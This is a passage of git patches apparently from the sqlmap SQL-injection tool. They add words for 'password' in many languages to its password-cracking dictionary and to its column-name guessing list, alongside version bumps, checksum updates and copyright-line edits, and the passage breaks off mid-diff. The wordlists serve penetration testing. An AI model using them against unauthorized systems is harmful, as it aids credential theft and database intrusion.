8c57f1485d2f974b7a37312aa79cedefcca7c4799b81bbbb41736c39d837b48d data/txt/common-tables.txt f20771d6aba7097e262fe18ab91e978e9ac07dafce0592c88148929a88423d89 data/txt/keywords.txt -c4c493ece59ad8f2f517cc310a69f419cd1a9dbbbc818adfdcc0574209c5687f data/txt/smalldict.txt +29a0a6a2c2d94e44899e867590bae865bdf97ba17484c649002d1d8faaf3e127 data/txt/smalldict.txt 4f6ee5c385a925372c4a4a0a65b499b9fc3f323a652d44b90892e742ef35c4c1 data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ @@ -186,7 +186,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -ccb35b3bf839a2e710077b4c6c51ca3c4cfd6c33418c5a62f13d92505d0a3762 lib/core/settings.py +afabaa06dcf1df3bbb9e81ff1c9f1553ec11a7a49ef9fe7031e8cd8e15fe8ab0 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 32d0752f1a88c52b049cbe1aedff6e0afb794544ff689f54cb72e159b8d5177c lib/core/target.py diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt index c1cfbe7942d..20828f97f08 100644 --- a/data/txt/smalldict.txt +++ b/data/txt/smalldict.txt @@ -786,6 +786,7 @@ ahl ahm aikido aikman +aikotoba aileen airborne airbus @@ -901,6 +902,7 @@ america america1 american amethyst +amho amigo amigos amorphous @@ -1494,6 +1496,7 @@ billybob billyboy bim bimbo +bimilbeonho bimmer bing bingo @@ -2417,6 +2420,7 @@ code codename codered codeword +codewort cody coffee cohiba @@ -2497,6 +2501,9 @@ contact content contest contract +contrasena +contrasenya +contrasinal control controller conway @@ -3291,6 +3298,7 @@ escape escort escort1 eskimo +esmeramz espresso esquire establish @@ -3347,6 +3355,7 @@ eyal f00tball fa fabian +facalfare face facebook facial @@ -3497,6 +3506,7 @@ fisting fitness fitter five +fjalekalim f**k fktrcfylh flakes @@ -3544,6 +3554,7 @@ flyfish flying fnd fndpub +focalfaire focus foobar food @@ -3735,6 +3746,7 @@ gadget gaelic gagged gagging +gagtnabar galant galaxy galileo @@ -3812,6 +3824,7 @@ germany1 geronimo Geronimo gertrude +geslo gesperrt getmoney getout @@ -3975,6 +3988,7 @@ gotohell gotribe gouge govols +gozarvazhe gpfd gpld gr @@ -4063,6 +4077,7 @@ guitars gumby gumption gundam +gunho gunnar gunner gunners @@ -4166,6 +4181,7 @@ harrypotter harvard harvest harvey +haslo hassan hastings hate @@ -4252,6 +4268,7 @@ herring hershey Hershey herzog +heslo hesoyam hetfield hewitt @@ -4405,6 +4422,7 @@ huai huang hubert hudson +hudyat huey huge hugh @@ -4465,6 +4483,7 @@ if6was9 iforget iforgot ifssys +igamalokungena igc igf igi @@ -4564,6 +4583,7 @@ invalid password iomega ipa ipd +iphasiwedi iplanet ipswich ireland @@ -4669,6 +4689,7 @@ jasper java javelin javier +javka jaybird jayden jayhawk @@ -4696,6 +4717,7 @@ jeffrey1 jello jelly jellybea +jelszo jen jenifer jenjen @@ -4905,6 +4927,7 @@ juventus k. k.: kaboom +kadavucol kahlua kahuna kaiser @@ -4912,7 +4935,11 @@ kaitlyn kakaxaqwe kakka kalamazo +kalameobur kali +kalimatumurur +kalimatusirr +kalmarsirri kamikaze kane kang @@ -4930,8 +4957,10 @@ karma kashmir kasper kat +katalaluan katana katarina +katasandi kate katerina katherin @@ -4974,6 +5003,7 @@ keng kenken kennedy kenneth +kennwort kenny kenobi kenshin @@ -5081,7 +5111,9 @@ knockers knuckles koala kobe24 +kodeord kodiak +kodikos kojak koko kokoko @@ -5093,6 +5125,7 @@ kool koolaid korn kotaku +kouling kramer kris krishna @@ -5114,6 +5147,11 @@ kuai kuang kume kungfu +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa kurt kwalker kyle @@ -5386,6 +5424,8 @@ lorin lorna lorraine lorrie +losen +losenord loser loser1 losers @@ -5428,6 +5468,7 @@ loveyou1 loving lowell lowrider +lozinka luan lucas lucas1 @@ -5453,6 +5494,7 @@ luna lunchbox lust luther +lykilord lynn lynne m @@ -5681,6 +5723,7 @@ matchbox math mathew matilda +matkhau matrix matrix1 matt @@ -5874,6 +5917,7 @@ millions millwall milo milton +mima mimi mindy mine @@ -6035,8 +6079,10 @@ mortimer morton moscow moses +mot de passe mot_de_passe motdepasse +mot dordre mother mother1 motherfucker @@ -6183,6 +6229,7 @@ nellie nelson nemesis neng +nenosiri neon neotix_sys nepenthe @@ -6357,6 +6404,7 @@ nylons nymets nympho nyquist +nywila oakland oakley oasis @@ -6405,6 +6453,7 @@ okokok okr oks oksana +okwuntughe okx olapdba olapsvr @@ -6481,6 +6530,8 @@ orioles orion orion1 orlando +oroasina +oroigbaniwole orville orwell oscar @@ -6537,6 +6588,7 @@ paco pad paddle padres +paeseuwodeu page pain painless @@ -6550,6 +6602,7 @@ pakistan palace paladin Paladin +palavra-passe palermo pallmall palmer @@ -6596,12 +6649,22 @@ park parker parol parola +parolachiave +paroladordine +parole +paroli +parolja +parool parrot partner party +parulle pasadena +pasahitza pascal +pasfhocal pasion +pasowardo pass pass1 pass12 @@ -6610,6 +6673,7 @@ pass1234 passat passion passme +passord passpass passport passw0rd @@ -6637,6 +6701,8 @@ password9 passwords passwort pastor +pasuwado +pasvorto pasword pat patch @@ -7229,6 +7295,7 @@ rafaeltqm rafiki rage ragnarok +rahatphan raider raiders Raiders @@ -7258,6 +7325,7 @@ rampage ramrod ramses ramsey +ramzobur ranch rancid randall @@ -7609,6 +7677,7 @@ sakura sal salami salasana +salasona saleen salem sales @@ -7670,6 +7739,7 @@ santafe santana santiago santos +santoysena sap saphire sapper @@ -7968,6 +8038,8 @@ sidney siemens sierra Sierra +sifra +sifre sigma sigmachi signal @@ -8004,6 +8076,7 @@ sinned sinner siobhan sirius +sisma sissy sister sister12 @@ -8050,6 +8123,7 @@ slammer slapper slappy slapshot +slaptazodis slater slave slave1 @@ -8597,6 +8671,7 @@ symbol symmetry sympa synergy +synthimatiko syracuse sys sysadm @@ -9036,6 +9111,7 @@ tulips tuna tunafish tundra +tunnussana tupac turbine turbo @@ -9250,8 +9326,11 @@ vsegda vulcan vvvv vvvvvv +wachtwoord +wachtwurd waffle wagner +wagwoord waiting walden waldo diff --git a/lib/core/settings.py b/lib/core/settings.py index 51d022b5d91..98b571fac27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.13" +VERSION = "1.9.5.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 709f56d5e134ad9b5f2416842a60cf116f6263f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 23:22:46 +0200 Subject: [PATCH 173/853] Minor refreshment of common-columns --- data/txt/common-columns.txt | 85 +++++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- 3 files changed, 88 insertions(+), 3 deletions(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index e0ce21ab3cc..ecb42e1d686 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -2767,3 +2767,88 @@ shouji u_pass hashedPw + +# password (international) + +adgangskode +aikotoba +amho +bimilbeonho +codewort +contrasena +contrasenya +contrasinal +esmeramz +facalfare +fjalekalim +focalfaire +gagtnabar +geslo +gozarvazhe +gunho +haslo +heslo +hudyat +igamalokungena +iphasiwedi +javka +jelszo +kadavucol +kalameobur +kalimatumurur +kalimatusirr +kalmarsirri +katalaluan +katasandi +kennwort +kodeord +kodikos +kouling +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa +losen +losenord +lozinka +lykilord +matkhau +mima +nenosiri +nywila +okwuntughe +oroasina +oroigbaniwole +paeseuwodeu +parol +parola +parolachiave +paroladordine +parole +paroli +parolja +parool +parulle +pasahitza +pasfhocal +pasowardo +passord +passwort +pasuwado +pasvorto +rahatphan +ramzobur +salasana +salasona +santoysena +senha +sifra +sifre +sisma +slaptazodis +synthimatiko +tunnussana +wachtwoord +wachtwurd +wagwoord diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4d9f5ef6562..11b4f0c5096 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -22,7 +22,7 @@ a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/REA 099eb0f9ed71946eb55bd1d4afa1f1f7ef9f39cc41af4897f3d5139524bd2fc2 data/shell/stagers/stager.aspx_ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/stagers/stager.jsp_ 84b431647a2c13e72b2c9c9242a578349d1b8eef596166128e08f1056d7e4ac8 data/shell/stagers/stager.php_ -f07b7f4e3f073ce752bda6c95e5a328572b82eb2705ee99e2a977cc4e3e9472b data/txt/common-columns.txt +13e16e691e710ba84da84411656c6afc80acd2ba9935adec10773888927b34eb data/txt/common-columns.txt 882a18f1760f96807cceb90023cff919ac6804dde2a6ddd8af26f382aa3e93eb data/txt/common-files.txt 1e626d38f202c1303fa12d763b4499cf6a0049712a89829eeed0dd08b2b0957f data/txt/common-outputs.txt 8c57f1485d2f974b7a37312aa79cedefcca7c4799b81bbbb41736c39d837b48d data/txt/common-tables.txt @@ -186,7 +186,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -afabaa06dcf1df3bbb9e81ff1c9f1553ec11a7a49ef9fe7031e8cd8e15fe8ab0 lib/core/settings.py +a30a9319143e7409251d0516871696aa89815a619d89e8a2f3a1496679edfb39 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 32d0752f1a88c52b049cbe1aedff6e0afb794544ff689f54cb72e159b8d5177c lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 98b571fac27..86dfe35d50a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.14" +VERSION = "1.9.5.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1d7493d2437d3209e3268d1cbcd6365552217abc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 23:54:39 +0200 Subject: [PATCH 174/853] Patch for #5897 --- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/sha256sums.txt | 818 ++++++++++++------------ data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pypi.sh | 4 +- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 2 +- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 4 +- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/altibase/__init__.py | 2 +- plugins/dbms/altibase/connector.py | 2 +- plugins/dbms/altibase/enumeration.py | 2 +- plugins/dbms/altibase/filesystem.py | 2 +- plugins/dbms/altibase/fingerprint.py | 2 +- plugins/dbms/altibase/syntax.py | 2 +- plugins/dbms/altibase/takeover.py | 2 +- plugins/dbms/cache/__init__.py | 2 +- plugins/dbms/cache/connector.py | 2 +- plugins/dbms/cache/enumeration.py | 2 +- plugins/dbms/cache/filesystem.py | 2 +- plugins/dbms/cache/fingerprint.py | 2 +- plugins/dbms/cache/syntax.py | 2 +- plugins/dbms/cache/takeover.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/clickhouse/connector.py | 2 +- plugins/dbms/clickhouse/enumeration.py | 2 +- plugins/dbms/clickhouse/filesystem.py | 2 +- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/syntax.py | 2 +- plugins/dbms/clickhouse/takeover.py | 2 +- plugins/dbms/cratedb/__init__.py | 2 +- plugins/dbms/cratedb/connector.py | 2 +- plugins/dbms/cratedb/enumeration.py | 2 +- plugins/dbms/cratedb/filesystem.py | 2 +- plugins/dbms/cratedb/fingerprint.py | 2 +- plugins/dbms/cratedb/syntax.py | 2 +- plugins/dbms/cratedb/takeover.py | 2 +- plugins/dbms/cubrid/__init__.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- plugins/dbms/cubrid/enumeration.py | 2 +- plugins/dbms/cubrid/filesystem.py | 2 +- plugins/dbms/cubrid/fingerprint.py | 2 +- plugins/dbms/cubrid/syntax.py | 2 +- plugins/dbms/cubrid/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/derby/__init__.py | 2 +- plugins/dbms/derby/connector.py | 2 +- plugins/dbms/derby/enumeration.py | 2 +- plugins/dbms/derby/filesystem.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- plugins/dbms/derby/syntax.py | 2 +- plugins/dbms/derby/takeover.py | 2 +- plugins/dbms/extremedb/__init__.py | 2 +- plugins/dbms/extremedb/connector.py | 2 +- plugins/dbms/extremedb/enumeration.py | 2 +- plugins/dbms/extremedb/filesystem.py | 2 +- plugins/dbms/extremedb/fingerprint.py | 2 +- plugins/dbms/extremedb/syntax.py | 2 +- plugins/dbms/extremedb/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/frontbase/__init__.py | 2 +- plugins/dbms/frontbase/connector.py | 2 +- plugins/dbms/frontbase/enumeration.py | 2 +- plugins/dbms/frontbase/filesystem.py | 2 +- plugins/dbms/frontbase/fingerprint.py | 2 +- plugins/dbms/frontbase/syntax.py | 2 +- plugins/dbms/frontbase/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mckoi/__init__.py | 2 +- plugins/dbms/mckoi/connector.py | 2 +- plugins/dbms/mckoi/enumeration.py | 2 +- plugins/dbms/mckoi/filesystem.py | 2 +- plugins/dbms/mckoi/fingerprint.py | 2 +- plugins/dbms/mckoi/syntax.py | 2 +- plugins/dbms/mckoi/takeover.py | 2 +- plugins/dbms/mimersql/__init__.py | 2 +- plugins/dbms/mimersql/connector.py | 2 +- plugins/dbms/mimersql/enumeration.py | 2 +- plugins/dbms/mimersql/filesystem.py | 2 +- plugins/dbms/mimersql/fingerprint.py | 2 +- plugins/dbms/mimersql/syntax.py | 2 +- plugins/dbms/mimersql/takeover.py | 2 +- plugins/dbms/monetdb/__init__.py | 2 +- plugins/dbms/monetdb/connector.py | 2 +- plugins/dbms/monetdb/enumeration.py | 2 +- plugins/dbms/monetdb/filesystem.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/monetdb/syntax.py | 2 +- plugins/dbms/monetdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/presto/__init__.py | 2 +- plugins/dbms/presto/connector.py | 2 +- plugins/dbms/presto/enumeration.py | 2 +- plugins/dbms/presto/filesystem.py | 2 +- plugins/dbms/presto/fingerprint.py | 2 +- plugins/dbms/presto/syntax.py | 2 +- plugins/dbms/presto/takeover.py | 2 +- plugins/dbms/raima/__init__.py | 2 +- plugins/dbms/raima/connector.py | 2 +- plugins/dbms/raima/enumeration.py | 2 +- plugins/dbms/raima/filesystem.py | 2 +- plugins/dbms/raima/fingerprint.py | 2 +- plugins/dbms/raima/syntax.py | 2 +- plugins/dbms/raima/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/dbms/vertica/__init__.py | 2 +- plugins/dbms/vertica/connector.py | 2 +- plugins/dbms/vertica/enumeration.py | 2 +- plugins/dbms/vertica/filesystem.py | 2 +- plugins/dbms/vertica/fingerprint.py | 2 +- plugins/dbms/vertica/syntax.py | 2 +- plugins/dbms/vertica/takeover.py | 2 +- plugins/dbms/virtuoso/__init__.py | 2 +- plugins/dbms/virtuoso/connector.py | 2 +- plugins/dbms/virtuoso/enumeration.py | 2 +- plugins/dbms/virtuoso/filesystem.py | 2 +- plugins/dbms/virtuoso/fingerprint.py | 2 +- plugins/dbms/virtuoso/syntax.py | 2 +- plugins/dbms/virtuoso/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/0eunion.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/binary.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/decentities.py | 2 +- tamper/dunion.py | 2 +- tamper/equaltolike.py | 2 +- tamper/equaltorlike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/hexentities.py | 2 +- tamper/htmlencode.py | 2 +- tamper/if2case.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/luanginxmore.py | 2 +- tamper/misunion.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/ord2ascii.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/schemasplit.py | 2 +- tamper/scientific.py | 2 +- tamper/sleep2getlock.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- thirdparty/socks/socks.py | 2 +- 410 files changed, 820 insertions(+), 820 deletions(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index ecb42e1d686..3c87ef83b4a 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index ce340161153..a6b3dc53b19 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # CTFs diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 744e06cad3f..f882a4b1b05 100644 --- a/data/txt/common-outputs.txt +++ 